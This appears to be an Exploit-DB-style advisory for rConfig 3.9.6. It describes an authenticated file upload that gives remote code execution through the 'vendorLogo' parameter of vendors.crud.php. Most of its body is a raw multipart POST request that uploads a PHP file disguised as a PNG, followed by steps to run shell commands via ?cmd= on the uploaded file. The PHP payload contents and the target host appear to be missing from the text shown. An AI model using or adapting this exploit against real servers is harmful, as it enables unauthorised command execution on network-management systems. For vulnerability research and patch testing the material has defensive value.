# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) # Date: 2021-03-17 # Exploit Author: Murat ŞEKER # Vendor Homepage: https://www.rconfig.com # Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip # Version: rConfig v3.9.6 # Install scripts : # https://www.rconfig.com/downloads/scripts/install_rConfig.sh # https://www.rconfig.com/downloads/scripts/centos7_install.sh # https://www.rconfig.com/downloads/scripts/centos6_install.sh # Tested on: centOS 7 # Notes : If you want to reproduce in your lab environment follow those links : # http://help.rconfig.com/gettingstarted/installation # then # http://help.rconfig.com/gettingstarted/postinstall # Description: rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'. The following steps can be carried out in duplicating this vulnerability. - Login the rConfig application with your credentials. - Repeat POST /lib/crud/vendors.crud.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254 Content-Length: 36619 Origin: https://localhost Connection: close Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b Upgrade-Insecure-Requests: 1 Cache-Control: no-transform -----------------------------122590832918963661283831488254 Content-Disposition: form-data; name="vendorName" thisisrce -----------------------------122590832918963661283831488254 Content-Disposition: form-data; name="vendorLogo"; filename="file.php" Content-Type: image/png -----------------------------122590832918963661283831488254 Content-Disposition: form-data; name="add" add -----------------------------122590832918963661283831488254 Content-Disposition: form-data; name="editid" -----------------------------122590832918963661283831488254-- - Than go to http(s):///images/vendor/file.php Note: The file.php can be accessed without valid credentials. If you change the to and navigate the http(s):///images/vendor/file.php?cmd=id The `id` command will execute on server.